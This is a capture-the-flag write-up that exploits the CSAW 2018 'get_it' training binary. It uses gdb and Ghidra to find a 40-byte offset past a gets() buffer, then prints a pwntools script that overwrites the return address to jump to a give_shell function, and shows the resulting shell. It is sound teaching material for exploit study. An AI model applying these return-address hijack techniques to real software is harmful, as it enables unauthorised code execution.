[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
--2021-02-27 14:55:14-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/csaw18_getit/get_it
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it [following]
--2021-02-27 14:55:15-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/csaw18_getit/get_it
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8744 (8.5K) [application/octet-stream]
Saving to: ‘get_it’
get_it 100%[=======================================================================================================================================================================================================>] 8.54K --.-KB/s in 0s
2021-02-27 14:55:15 (36.0 MB/s) - ‘get_it’ saved [8744/8744]
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ file get_it
get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/getit]
→ chmod +x get_it
first we start by executing the binary to see what it does:
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ ./get_it
Do you gets it??
maybe
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ ./get_it
Do you gets it??
yes
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ pwn checksec get_it
[*] '/home/nothing/binexp/2/get/get_it'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
It prints text, and then asks for our input. This is a 64 bit binary with a non-executable stack. Let's check it from inside ghidra:
The binary really has a simplistic code for the main function:
undefined8 main(void)
{
char local_28 [32];
puts("Do you gets it??");
gets(local_28);
return 0;
}
So our input text is given to the local_28 variable which can hold 32 characters, and it is being passed through a gets function, and as we saw in the previous binary, the gets function is not secure because it does not know a limit, there is no size restriction for the data that gets scanned in, it will simply scan in data until it gets either a newline character or an EOF. Because of this we can write more data to our input text variable (local_28) than it can hold.
Looking at the other functions of this binary, we see that there is another function that's there to spawn a shell for us:
void give_shell(void)
{
system("/bin/bash");
return;
}
From here it's safe to assume that the goal is to find a way to spawn a shell thanks to the give_shell function. Since we know the gets function does not have an upper limit, so our goal is to overwrite the return function at the end, so that we can do what we want with it:
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [binexp/2/get]
→ gdb ./get_it
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./get_it...
(No debugging symbols found in ./get_it)
gef➤ disas main
Dump of assembler code for function main:
0x00000000004005c7 <+0>: push rbp
0x00000000004005c8 <+1>: mov rbp,rsp
0x00000000004005cb <+4>: sub rsp,0x30
0x00000000004005cf <+8>: mov DWORD PTR [rbp-0x24],edi
0x00000000004005d2 <+11>: mov QWORD PTR [rbp-0x30],rsi
0x00000000004005d6 <+15>: mov edi,0x40068e
0x00000000004005db <+20>: call 0x400470
0x00000000004005e0 <+25>: lea rax,[rbp-0x20]
0x00000000004005e4 <+29>: mov rdi,rax
0x00000000004005e7 <+32>: mov eax,0x0
0x00000000004005ec <+37>: call 0x4004a0
0x00000000004005f1 <+42>: mov eax,0x0
0x00000000004005f6 <+47>: leave
0x00000000004005f7 <+48>: ret
End of assembler dump.
gef➤ b *0x4005f1
Breakpoint 1 at 0x4005f1
gef➤ r
Here we set our first breakpoint right after the gets call, so let's run the binary and give it a pattern easy to remember:
gef➤ r
Starting program: /home/nothing/binexp/2/get/get_it
Do you gets it??
13371337
Breakpoint 1, 0x00000000004005f1 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffe0e0 → "13371337"
$rbx : 0x0
$rcx : 0x00007ffff7fac980 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffe0d0 → 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it"
$rbp : 0x00007fffffffe100 → 0x0000000000400600 → <__libc_csu_init+0> push r15
$rsi : 0x31373333
$rdi : 0x00007ffff7faf680 → 0x0000000000000000
$rip : 0x00000000004005f1 → mov eax, 0x0
$r8 : 0x00007fffffffe0e0 → "13371337"
$r9 : 0x0
$r10 : 0x6e
$r11 : 0x246
$r12 : 0x00000000004004c0 → <_start+0> xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe0d0│+0x0000: 0x00007fffffffe1f8 → 0x00007fffffffe4de → "/home/nothing/binexp/2/get/get_it" ← $rsp
0x00007fffffffe0d8│+0x0008: 0x0000000100000000
0x00007fffffffe0e0│+0x0010: "13371337" ← $rax, $r8
0x00007fffffffe0e8│+0x0018: 0x0000000000400400 → add BYTE PTR [rax], al
0x00007fffffffe0f0│+0x0020: 0x00007fffffffe1f0 → 0x0000000000000001
0x00007fffffffe0f8│+0x0028: 0x0000000000000000
0x00007fffffffe100│+0x0030: 0x0000000000400600 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffe108│+0x0038: 0x00007ffff7e14d0a → <__libc_start_main+234> mov edi, eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005e4 mov rdi, rax
0x4005e7 mov eax, 0x0
0x4005ec call 0x4004a0
●→ 0x4005f1 mov eax, 0x0
0x4005f6 leave
0x4005f7 ret
0x4005f8 nop DWORD PTR [rax+rax*1+0x0]
0x400600 <__libc_csu_init+0> push r15
0x400602 <__libc_csu_init+2> push r14
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "get_it", stopped 0x4005f1 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4005f1 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
no need to search for the pattern, we see that our pattern appears at $rax ( 0x00007fffffffe0e0 )
gef➤ i f
Stack level 0, frame at 0x7fffffffe110:
rip = 0x4005f1 in main; saved rip = 0x7ffff7e14d0a
Arglist at 0x7fffffffe100, args:
Locals at 0x7fffffffe100, Previous frame's sp is 0x7fffffffe110
Saved registers:
rbp at 0x7fffffffe100, rip at 0x7fffffffe108
here we see that the return address is stored at 0x7fffffffe108, lets verify that our pattern is at the address we found above:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6026b0 - 0x6026ba → "13371337\n"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe0e0 - 0x7fffffffe0e8 → "13371337"
and it is! now we need to calculate the offset between 0x00007fffffffe0e0 and 0x7fffffffe108
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ python3
Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffe0e0 - 0x7fffffffe108 )
'-0x28'
So we get a 0x28 byte offset which is 40 bytes in decimal, basically we need to write 40 bytes worth of input, and then we can write over the return address. Tis address will be executed when the ret instruction is executed, which will give us code execution. We need the address of the give_shell function which we get from ghidra:
**************************************************************
* FUNCTION *
**************************************************************
undefined give_shell()
undefined AL:1
give_shell XREF[3]: Entry Point(*), 004006bc,
00400758(*)
004005b6 55 PUSH RBP
now that we know that we need 40 bytes of input, and then the address 0x004005b6, we can create our payload:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ vim exploit.py
from pwn import *
import sys
target = process("./get_it")
payload = b""
payload += b"\x00" * 0x28
payload += p64(0x4005b6)
target.sendline(payload)
target.interactive()
Basically with this exploit.py we create a payload that has 40 nullbytes (0x28 in hexa) and then contains the address of the give_shell function, so let's see if it works:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [binexp/2/get]
→ python3 exploit.py
[+] Starting local process './get_it': pid 244402
[*] Switching to interactive mode
Do you gets it??
$ w
21:07:19 up 1 day, 22:20, 3 users, load average: 0.16, 0.14, 0.06
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
nothing pts/1 tmux(6724).%3 16:42 6.00s 18.38s 0.15s python3 exploit.py
nothing pts/3 tmux(6724).%4 19:14 45:07 0.88s 0.04s less
nothing pts/4 tmux(6724).%5 19:21 3:35 2.46s 2.46s -zsh
and that's it! we have been able to spawn a shell with the binary file.
text
text